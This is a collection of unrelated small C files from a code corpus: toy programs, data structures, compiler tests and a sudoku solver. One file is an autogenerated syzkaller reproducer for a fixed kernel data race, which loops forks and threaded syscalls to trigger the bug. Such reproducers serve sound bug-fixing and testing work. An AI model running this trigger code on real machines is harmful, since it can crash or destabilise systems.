DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* Call the iret assembler stubs.
*/
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
#ifndef __USE_GNU
# define __USE_GNU
#endif
#include <ucontext.h>
typedef unsigned long UINT64;
typedef signed long INT64;
typedef unsigned int UINT32;
typedef unsigned short UINT16;
extern INT64 iretdTest();
extern INT64 iretqTest();
#if (0)
/* Enable this if you're trying to debug failure of the iret instruction!
* Not enabled all the time becuase the details are OS version dependent,
* and we don't actually need it for the purposes of the test.
*/
static void segvHandler(int sigNo, siginfo_t *si, void * extra)
{
ucontext_t * uctx = (ucontext_t *)extra;
UINT32 * rsp = (UINT32 *)uctx->uc_mcontext.gregs[REG_RSP];
int i;
fprintf (stderr, "SEGV: RIP %p, fault address 0x%lx, RSP %p\n",
uctx->uc_mcontext.gregs[REG_RIP],
si->si_addr, rsp);
for (i=0; i<3; i++)
{
fprintf (stderr, "%p: %08x, %08x, %08x, %08x\n", rsp, rsp[0], rsp[1], rsp[2], rsp[3]);
rsp += 4;
}
exit(-1);
}
static UINT64 altStack[16384];
static void registerSegvHandler()
{
struct sigaction sa;
stack_t sigStack;
sigStack.ss_flags = 0;
sigStack.ss_sp = &altStack[0];
sigStack.ss_size = sizeof(altStack);
if (sigaltstack(&sigStack, 0))
{
fprintf (stderr, "sigaltsack failed\n");
}
else
{
fprintf (stderr, "Altstack established\n");
}
if (sigaction (SIGSEGV, 0, &sa))
{
fprintf(stderr, "sigaction read failed\n");
}
else
{
fprintf (stderr, "sigaction read OK\n");
}
sa.sa_sigaction = segvHandler;
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
if (sigaction (SIGSEGV, &sa, 0))
{
fprintf(stderr, "sigaction write failed\n");
}
else
{
fprintf (stderr, "sigaction write OK\n");
}
}
#else
# define registerSegvHandler() ((void)0)
#endif
int main (int argc, char ** argv)
{
INT64 result;
int ok = 0;
int tests = 0;
registerSegvHandler();
tests++;
fprintf(stderr, "Calling iretq\n");
result = iretqTest();
fprintf(stderr, "iretq result = %d %s\n", result, result == -2 ? "OK" : "***ERROR***");
ok += (result == -2);
#if (0)
/* Don't try iretd since I havent' been able to find a coherent description of
* what it is supposed to do.
*/
tests++;
fprintf(stderr, "Calling iretd\n");
result = iretdTest();
fprintf(stderr, "iretd result = %d %s\n", result, result == -1 ? "OK" : "***ERROR***");
ok += (result == -1);
#endif
return (ok == tests) ? 0 : -1;
}
|
the_stack_data/115766760.c | #include <unistd.h>
#include <limits.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
char path[1000];
if(argc!=2)
{
printf("Usage chdir <pathname>\n");
return 1;
}
if(chdir(argv[1])<0)
{
printf("chdir failed\n");
return 2;
}
if(getwd(path)==NULL)
{
printf("getwd failed\n");
return 3;
}
printf("CWD =%s \n", path);
return 0;
}
|
the_stack_data/122015342.c | #include<stdio.h>
int main()
{
int i=1,j=1,n,mul;
printf("ENTER A NUMBER :");
scanf("%d",&n);
while(j<=n){
while(i<=10){
mul=j*i;
printf("%d*%d=%d,",j,i,mul);
i=i+1;
}
j=j+1;
i=1;
printf("\n");
}
return 0;
}
|
the_stack_data/211080416.c | int i = 4;
int d = 7;
int main()
{
i = 7;
i = 3;
i = 2;
return i;
}
|
the_stack_data/61606.c | #include <stdio.h>
#include <string.h>
#include <stdbool.h>
bool strlonger (const char *s1, const char *s2) {
return strlen(s1) > strlen(s2);
}
int main (void)
{
const char *s1 = "looooooong";
const char *s2 = "short";
printf("'%s' is %lu letters long\n", s1, strlen(s1));
printf("'%s' is %lu letters long\n", s2, strlen(s2));
if(strlonger(s1,s2))
printf("'%s' is longer than '%s'\n", s1, s2);
else
printf("'%s' is longer than '%s'\n", s2, s1);
return 0;
}
|
the_stack_data/187643467.c | /*
* @author: ashwek
* @date: 8/1/2019
*/
#include <stdio.h>
int sum(int num) {
if( num <= 0 ){
return 0;
}
return (num%10) + sum(num/10);
}
void main(){
int num;
printf("Enter a number = ");
scanf("%d", &num);
printf("Sum of digits = %d\n", sum(num));
}
|
the_stack_data/46140.c | // REQUIRES: x86-registered-target
// RUN: %clang_cc1 -triple x86_64-unknown-linux -debug-info-kind=limited -split-dwarf-file foo.dwo -split-dwarf-output %t -emit-obj -o - %s | llvm-dwarfdump -debug-info - | FileCheck %s
// RUN: llvm-dwarfdump -debug-info %t | FileCheck %s
int f() { return 0; }
// CHECK: DW_AT_GNU_dwo_name ("foo.dwo")
|
the_stack_data/220190.c | #include <stdio.h>
#include <stdlib.h>
//https://github.com/amitbansal7/Data-Structures-and-Algorithms/blob/master/9.Red-Black-tree/RedBlackTrees.c
//CLRS
//Insertion and Deletion in a Red Black Tree
enum type { RED, BLACK };
struct Node
{
int data;
struct Node* left;
struct Node* right;
struct Node* parent;
enum type color;
};
struct Queue
{
struct Node* data;
struct Queue* next;
};
struct Queue* front = NULL;
struct Queue* rear = NULL;
struct Node* pfront()
{
struct Node* data;
data = front->data;
return data;
}
int isempty()
{
if (front == NULL)
return 1;
else
return 0;
}
void dequeue()
{
if (isempty())
return;
struct Queue* temp = front;
front = front->next;
free(temp);
}
void enqueue(struct Node* data)
{
struct Queue* temp = (struct Queue*)malloc(sizeof(struct Queue));
temp->data = data;
temp->next = NULL;
if (front == NULL && rear == NULL)
{
front = rear = temp;
return;
}
rear->next = temp;
rear = temp;
}
void levelorder(struct Node* root)
{
if (root == NULL)
return;
enqueue(root);
while (!isempty())
{
struct Node* current = pfront();
printf("%d ", current->data);
if (current->left != NULL)
enqueue(current->left);
if (current->right != NULL)
enqueue(current->right);
dequeue();
}
}
void LeftRotate(struct Node** T, struct Node** x)
{
struct Node* y = (*x)->right;
(*x)->right = y->left;
if (y->left != NULL)
y->left->parent = *x;
y->parent = (*x)->parent;
if ((*x)->parent == NULL)
*T = y;
else if (*x == (*x)->parent->left)
(*x)->parent->left = y;
else
(*x)->parent->right = y;
y->left = *x;
(*x)->parent = y;
}
void RightRotate(struct Node** T, struct Node** x)
{
struct Node* y = (*x)->left;
(*x)->left = y->right;
if (y->right != NULL)
y->right->parent = *x;
y->parent = (*x)->parent;
if ((*x)->parent == NULL)
*T = y;
else if ((*x) == (*x)->parent->left)
(*x)->parent->left = y;
else
(*x)->parent->right = y;
y->right = *x;
(*x)->parent = y;
}
void RB_insert_fixup(struct Node** T, struct Node** z)
{
struct Node* grandparent = NULL;
struct Node* parentpt = NULL;
while (((*z) != *T) && ((*z)->color != BLACK) && ((*z)->parent->color == RED))
{
parentpt = (*z)->parent;
grandparent = (*z)->parent->parent;
if (parentpt == grandparent->left)
{
struct Node* uncle = grandparent->right;
if (uncle != NULL && uncle->color == RED)
{
grandparent->color = RED;
parentpt->color = BLACK;
uncle->color = BLACK;
*z = grandparent;
}
else
{
if ((*z) == parentpt->right)
{
LeftRotate(T, &parentpt);
(*z) = parentpt;
parentpt = (*z)->parent;
}
RightRotate(T, &grandparent);
parentpt->color = BLACK;
grandparent->color = RED;
(*z) = parentpt;
}
}
else
{
struct Node* uncle = grandparent->left;
if (uncle != NULL && uncle->color == RED)
{
grandparent->color = RED;
parentpt->color = BLACK;
uncle->color = BLACK;
(*z) = grandparent;
}
else
{
if ((*z) == parentpt->left)
{
RightRotate(T, &parentpt);
(*z) = parentpt;
parentpt = (*z)->parent;
}
LeftRotate(T, &grandparent);
parentpt->color = BLACK;
grandparent->color = RED;
(*z) = parentpt;
}
}
}
(*T)->color = BLACK;
}
struct Node* RB_insert(struct Node* T, int data)
{
struct Node* z = (struct Node*)malloc(sizeof(struct Node));
z->data = data;
z->left = NULL;
z->right = NULL;
z->parent = NULL;
z->color = RED;
struct Node* y = NULL;
struct Node* x = T;//root
while (x != NULL)
{
y = x;
if (z->data < x->data)
x = x->left;
else
x = x->right;
}
z->parent = y;
if (y == NULL)
T = z;
else if (z->data < y->data)
y->left = z;
else
y->right = z;
RB_insert_fixup(&T, &z);
return T;
}
void preorder(struct Node* root)
{
if (root == NULL)
return;
printf("%d ", root->data);
preorder(root->left);
preorder(root->right);
}
struct Node* Tree_minimum(struct Node* node)
{
while (node->left != NULL)
node = node->left;
return node;
}
void RB_delete_fixup(struct Node** T, struct Node** x)
{
while ((*x) != *T && (*x)->color == BLACK)
{
if ((*x) == (*x)->parent->left)
{
struct Node* w = (*x)->parent->right;
if (w->color == RED)
{
w->color = BLACK;
(*x)->parent->color = BLACK;
LeftRotate(T, &((*x)->parent));
w = (*x)->parent->right;
}
if (w->left->color == BLACK && w->right->color == BLACK)
{
w->color = RED;
(*x) = (*x)->parent;
}
else
{
if (w->right->color == BLACK)
{
w->left->color = BLACK;
w->color = RED;
RightRotate(T, &w);
w = (*x)->parent->right;
}
w->color = (*x)->parent->color;
(*x)->parent->color = BLACK;
w->right->color = BLACK;
LeftRotate(T, &((*x)->parent));
(*x) = *T;
}
}
else
{
struct Node* w = (*x)->parent->left;
if (w->color == RED)
{
w->color = BLACK;
(*x)->parent->color = BLACK;
RightRotate(T, &((*x)->parent));
w = (*x)->parent->left;
}
if (w->right->color == BLACK && w->left->color == BLACK)
{
w->color = RED;
(*x) = (*x)->parent;
}
else
{
if (w->left->color == BLACK)
{
w->right->color = BLACK;
w->color = RED;
LeftRotate(T, &w);
w = (*x)->parent->left;
}
w->color = (*x)->parent->color;
(*x)->parent->color = BLACK;
w->left->color = BLACK;
RightRotate(T, &((*x)->parent));
(*x) = *T;
}
}
}
(*x)->color = BLACK;
}
void RB_transplat(struct Node** T, struct Node** u, struct Node** v)
{
if ((*u)->parent == NULL)
*T = *v;
else if ((*u) == (*u)->parent->left)
(*u)->parent->left = *v;
else
(*u)->parent->right = *v;
if ((*v) != NULL)
(*v)->parent = (*u)->parent;
}
struct Node* RB_delete(struct Node *T, struct Node* z)
{
struct Node *y = z;
enum type yoc;
yoc = z->color; // y's original color
struct Node* x;
if (z->left == NULL)
{
x = z->right;
RB_transplat(&T, &z, &(z->right));
}
else if (z->right == NULL)
{
x = z->left;
RB_transplat(&T, &z, &(z->left));
}
else
{
y = Tree_minimum(z->right);
yoc = y->color;
x = y->right;
if (y->parent == z)
x->parent = y;
else
{
RB_transplat(&T, &y, &(y->right));
y->right = z->right;
y->right->parent = y;
}
RB_transplat(&T, &z, &y);
y->left = z->left;
y->left->parent = y;
y->color = z->color;
}
if (yoc == BLACK)
RB_delete_fixup(&T, &x);
return T;
}
struct Node* BST_search(struct Node* root, int x)
{
if (root == NULL || root->data == x)
return root;
if (root->data > x)
return BST_search(root->left, x);
else
return BST_search(root->right, x);
}
/*
int main()
{
struct Node* RBT = NULL;
RBT = RB_insert(RBT, 2);
RBT = RB_insert(RBT, 1);
RBT = RB_insert(RBT, 4);
RBT = RB_insert(RBT, 5);
RBT = RB_insert(RBT, 9);
RBT = RB_insert(RBT, 3);
RBT = RB_insert(RBT, 6);
RBT = RB_insert(RBT, 7);
printf("\nPreorder - ");
preorder(RBT);
printf("\nLevel order - ");
levelorder(RBT);
struct Node* x = BST_search(RBT, 5);
RBT = RB_delete(RBT, x);
printf("\nAfter deleting 5");
printf("\nPreorder - ");
preorder(RBT);
front = NULL; rear = NULL; // Delete old Queue
printf("\nLevel order - ");
levelorder(RBT);
return 0;
}
*/ |
the_stack_data/310467.c | #ifndef REGTEST
#include <threads.h>
int cnd_wait(cnd_t *cond, mtx_t *mtx)
{
return thrd_error;
}
#endif
#ifdef TEST
#include <_PDCLIB_test.h>
int main( void )
{
return TEST_RESULTS;
}
#endif
|
the_stack_data/337321.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] )
{
unsigned char state[1] ;
{
state[0UL] = input[0UL] + (unsigned char)219;
if (state[0UL] & (unsigned char)1) {
if ((state[0UL] >> (unsigned char)2) & (unsigned char)1) {
if ((state[0UL] >> (unsigned char)3) & (unsigned char)1) {
state[0UL] |= (state[0UL] & (unsigned char)15) << 2UL;
state[0UL] |= (state[0UL] & (unsigned char)63) << 4UL;
} else {
state[0UL] = (state[0UL] << (((state[0UL] >> (unsigned char)2) & (unsigned char)15) | 1UL)) | (state[0UL] >> (8 - (((state[0UL] >> (unsigned char)2) & (unsigned char)15) | 1UL)));
state[0UL] += state[0UL];
}
} else {
state[0UL] |= (state[0UL] & (unsigned char)15) << 3UL;
state[0UL] |= ((state[0UL] << ((state[0UL] & (unsigned char)7) | 1UL)) & (unsigned char)31) << 3UL;
}
} else {
state[0UL] |= (state[0UL] & (unsigned char)15) << 3UL;
state[0UL] |= (state[0UL] * state[0UL] & (unsigned char)15) << 3UL;
}
output[0UL] = (state[0UL] >> (unsigned char)3) | (state[0UL] << (unsigned char)5);
}
}
void megaInit(void)
{
{
}
}
int main(int argc , char *argv[] )
{
unsigned char input[1] ;
unsigned char output[1] ;
int randomFuns_i5 ;
unsigned char randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 134) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
|
the_stack_data/58384.c | #include <stdbool.h>
#include <stdlib.h>
int cmp (const void* a, const void* b) {
return *(int*)a - *(int*)b;
}
bool canMakeArithmeticProgression(int* arr, int arrSize){
if (arrSize < 2) return false;
qsort(arr, arrSize, sizeof(int), cmp);
int dif = arr[1] - arr[0];
for (int i = 2; i < arrSize; i++) {
if (arr[i] - arr[i - 1] != dif) return false;
}
return true;
}
|
the_stack_data/150635.c | //! enable_relooper
// It is straightforward to draw a DFA that accepts only ('\0'-terminated)
// binary strings that correspond to binary numbers divisible by 3. This is a
// direct translation of that.
int multiple_three(char const *binary_string) {
goto no_remainder; // I'm just being explicit about the starting state :P
// number-so-far = 0 (mod 3)
no_remainder:
switch (*binary_string) {
case '\0': return 1;
case '0': ++binary_string; goto no_remainder;
case '1': ++binary_string; goto remainder_one;
default: return 2;
}
// number-so-far = 1 (mod 3)
remainder_one:
switch (*binary_string) {
case '\0': return 0;
case '0': ++binary_string; goto remainder_two;
case '1': ++binary_string; goto no_remainder;
default: return 2;
}
// number-so-far = 2 (mod 3)
remainder_two:
switch (*binary_string) {
case '\0': return 0;
case '0': ++binary_string; goto remainder_one;
case '1': ++binary_string; goto remainder_two;
default: return 2;
}
}
|
the_stack_data/1068895.c | // DATA RACE in kernel.(*Task).exitNotifyLocked
// https://syzkaller.appspot.com/bug?id=cab33153684e6b03beb81f58ce961e1149a25ada
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static uintptr_t syz_open_procfs(uintptr_t a0, uintptr_t a1)
{
char buf[128];
memset(buf, 0, sizeof(buf));
if (a0 == 0) {
snprintf(buf, sizeof(buf), "/proc/self/%s", (char*)a1);
} else if (a0 == (uintptr_t)-1) {
snprintf(buf, sizeof(buf), "/proc/thread-self/%s", (char*)a1);
} else {
snprintf(buf, sizeof(buf), "/proc/self/task/%d/%s", (int)a0, (char*)a1);
}
int fd = open(buf, O_RDWR);
if (fd == -1)
fd = open(buf, O_RDONLY);
return fd;
}
static void execute_one();
extern unsigned long long procid;
static void loop()
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
fail("clone failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
execute_one();
int fd;
for (fd = 3; fd < 30; fd++)
close(fd);
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid) {
break;
}
usleep(1000);
if (current_time_ms() - start < 5 * 1000)
continue;
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
}
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (__atomic_load_n(&running, __ATOMIC_RELAXED))
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call)
{
long res;
switch (call) {
case 0:
memcpy((void*)0x200001c0, "stat", 5);
res = syz_open_procfs(-1, 0x200001c0);
if (res != -1)
r[0] = res;
break;
case 1:
*(uint16_t*)0x20000040 = 0xa;
*(uint16_t*)0x20000042 = htobe16(0x4e24);
*(uint32_t*)0x20000044 = 2;
*(uint8_t*)0x20000048 = 0xfe;
*(uint8_t*)0x20000049 = 0x80;
*(uint8_t*)0x2000004a = 0;
*(uint8_t*)0x2000004b = 0;
*(uint8_t*)0x2000004c = 0;
*(uint8_t*)0x2000004d = 0;
*(uint8_t*)0x2000004e = 0;
*(uint8_t*)0x2000004f = 0;
*(uint8_t*)0x20000050 = 0;
*(uint8_t*)0x20000051 = 0;
*(uint8_t*)0x20000052 = 0;
*(uint8_t*)0x20000053 = 0;
*(uint8_t*)0x20000054 = 0;
*(uint8_t*)0x20000055 = 0;
*(uint8_t*)0x20000056 = 0;
*(uint8_t*)0x20000057 = 0xbb;
*(uint32_t*)0x20000058 = 1;
syscall(__NR_bind, r[0], 0x20000040, 0x1c);
break;
case 2:
*(uint64_t*)0x20000000 = 0;
syscall(__NR_ioctl, r[0], 0x200005473, 0x20000000);
break;
case 3:
syscall(__NR_exit, 0);
break;
case 4:
syscall(__NR_read, r[0], 0x200000c0, 8);
break;
}
}
void execute_one()
{
execute(5);
collide = 1;
execute(5);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
for (;;) {
loop();
}
}
|
the_stack_data/54826554.c | /*
------------------------------------------------------------------------------
ALGORITHMEN & DATENSTRUKTUREN
Eric Kunze
Github: https://github.com/oakoneric/algorithmen-datenstrukturen-ws20
Website: https://oakoneric.github.io/aud20.html
------------------------------------------------------------------------------
Aufgabe 1
------------------------------------------------------------------------------
*/
#include <stdio.h>
int ack(int x, int y){
int a;
if ((x == 0) && (y >= 0))
return y + 1;
else if ((x > 0) && (y == 0))
return ack(x-1, 1);
else if ((x > 0) && (y > 0)){
a = ack(x, y-1);
return ack(x-1, a);
}
}
int main() {
int x = 0, y = 0, a;
printf("\nAckermannfunktion\n");
printf("x = ");
scanf("%d", &x);
printf("y = ");
scanf("%d", &y);
a = ack(x,y);
printf("ack(%i,%i)=%i.\n", x, y, a);
return 0;
} |
the_stack_data/76701530.c | #include<stdio.h>
#define N 9
int grade[N][N] =
{{ 0, 6, 0, 1, 0, 4, 0, 5, 0},
{ 0, 0, 8, 3, 0, 5, 6, 0, 0},
{ 2, 0, 0, 0, 0, 0, 0, 0, 1},
{ 8, 0, 0, 4, 0, 7, 0, 0, 6},
{ 0, 0, 6, 0, 0, 0, 3, 0, 0},
{ 7, 0, 0, 9, 0, 1, 0, 0, 4},
{ 5, 0, 0, 0, 0, 0, 0, 0, 2},
{ 0, 0, 7, 2, 0, 6, 9, 0, 0},
{ 0, 4, 0, 5, 0, 8, 0, 7, 0}};
void desenha_grade() {
int i,j;
printf("+---------+---------+---------+\n");
for (i = 0; i < N; i++) {
printf("|");
for (j = 0; j < N; j++) {
if (grade[i][j] != 0)
printf(" %d ", grade[i][j]);
else
printf(" ");
if (j % 3 == 2)
printf("|");
}
if (i % 3 == 2)
printf("\n+---------+---------+---------+");
printf("\n");
}
}
int tenta_colocar(int i, int j, int k) {
int c,l;
for (l = 0; l < N; l++)
if (grade[l][j] == k)
return 0;
for (c = 0; c < N; c++)
if (grade[i][c] == k)
return 0;
for (l = i - i % 3; l < i - i % 3 +3; l++)
for (c = j - j % 3; c < j - j % 3 + 3; c++)
if (grade[l][c] == k)
return 0;
grade[i][j] = k;
desenha_grade();
return 1;
}
int completa_grade(int i, int j) {
int k;
if (i == 9) /* Grade completa */
return 1;
if (grade[i][j] != 0) { /* Pré-definida */
if (j == 8)
return completa_grade(i+1, 0);
else
return completa_grade(i, j+1);
}
for (k = 1; k <= 9; k++)
if (tenta_colocar(i, j, k)) {
if (j == 8) {
if (completa_grade(i+1, 0))
return 1;
}
else
if (completa_grade(i, j+1))
return 1;
}
grade[i][j] = 0;
return 0;
}
int main() {
desenha_grade();
completa_grade(0,0);
desenha_grade();
return 0;
} |
the_stack_data/215768573.c | #include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main ()
{
int a, b;
scanf("%d%d", &a, &b);
printf("%d+%d=%d\n", a,b,a+b);
printf("%d*%d=%d\n", a,b,a*b);
printf("%d-%d=%d\n", a,b,a-b);
printf("%d/%d=%d...%d\n", a,b,a/b,a%b);
}
|
the_stack_data/18886743.c | #include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main()
{
pid_t pid;
pid = fork();
if (pid < 0) /* error */
{
fprintf(stderr, "Fork Failed");
return 1;
}
else if (pid == 0) /* child process */
execlp("/bin/ls", "ls", NULL);
else /* parent waits for the child to complete */
{
wait(NULL);
printf("Child Complete");
}
return 0;
} |
the_stack_data/54824807.c | // C Code to find square of a sorted array
// https://leetcode.com/problems/squares-of-a-sorted-array/
int *sortedSquares(int *nums, int numsSize, int *returnSize){
int i,j,key;
int *result = malloc(numsSize*sizeof *result);
*returnSize = numsSize;
if(nums[0] >= 0){
for(i=0; i<numsSize; i++){
result[i] = nums[i]*nums[i];
}
return result;
}
else{
for(i=0; i<numsSize; i++){
result[i] = nums[i]*nums[i];
}
// Insertion Sort
// Best Case - O(n)
// Worst Case - O(n^2)
for(i=1; i<numsSize; i++){
key = result[i];
j = i-1;
while(j >= 0 && result[j] > key){
result[j+1] = result[j];
j = j-1;
}
result[j+1] = key;
}
return result;
}
}
|
the_stack_data/34512366.c | double mx_pow(double n, unsigned int pow) {
double res = 1;
if (!pow) {
return 1;
}
for (unsigned int i = 0; i < pow; i++) {
res *= n;
}
return res;
}
|
the_stack_data/89201210.c | typedef struct
{
int mvd[2][(16/4)][(16/4)][2];
} Macroblock;
typedef struct
{
int part_size[8][2];
} InputParameters;
typedef struct
{
Macroblock *mb_data;
short****** pred_mv;
short****** all_mv;
} ImageParameters;
extern InputParameters *input;
extern ImageParameters *img;
int writeMotionVector8x8 (void)
{
int i, j, k, l, m;
int step_h = input->part_size[7][0];
int step_v = input->part_size[7][1];
Macroblock* currMB = &img->mb_data[9];
int refindex = 0;
short****** all_mv = img->all_mv;
short****** pred_mv = img->pred_mv;
for (k=0; k<2; k++)
{
int curr_mvd = all_mv[2][8][0][8][7][8] - pred_mv[2][7][0][8][7][0];
for (l=0; l < step_v; l++)
for (m=0; m < step_h; m++)
currMB->mvd[0][8][9][8] = curr_mvd;
}
}
|
the_stack_data/75137494.c | /*
Ler um vetor C de 10 elementos inteiros, trocar todos os valores negativos do vetor C por 0.
Escrever o vetor C modificado.
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
int C[10], i;
printf("Digite 10 numeros pares e impares: ");
for(i=0; i < 10; i++){
scanf("%d", &C[i]);
}
printf("\n");
for(i=0; i < 10; i++){
if(C[i] < 0){
C[i] = 0;
}
}
for(i=0; i < 10; i++){
printf("%d\n", C[i]);
}
printf("\n\n");
return 0;
} |
the_stack_data/192330004.c | #include<stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
if (argc < 3) return 1;
long int binary1,binary2;
int i=0,remainder = 0,sum[20];
// printf("Enter any first binary number: ");
// scanf("%ld",&binary1);
// printf("Enter any second binary number: ");
// scanf("%ld",&binary2);
binary1 = atol(argv[1]);//1100010;
binary2 = atol(argv[2]);//1001101;
while(binary1!=0||binary2!=0){
sum[i++] = (binary1 %10 + binary2 %10 + remainder ) % 2;
remainder = (binary1 %10 + binary2 %10 + remainder ) / 2;
binary1 = binary1/10;
binary2 = binary2/10;
}
if(remainder!=0)
sum[i++] = remainder;
--i;
printf("Sum of two binary numbers: ");
while(i>=0)
printf("%d",sum[i--]);
printf("\n");
return 0;
}
|
the_stack_data/32495.c | /*
* Copyright (c) 1987, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
extern char **environ;
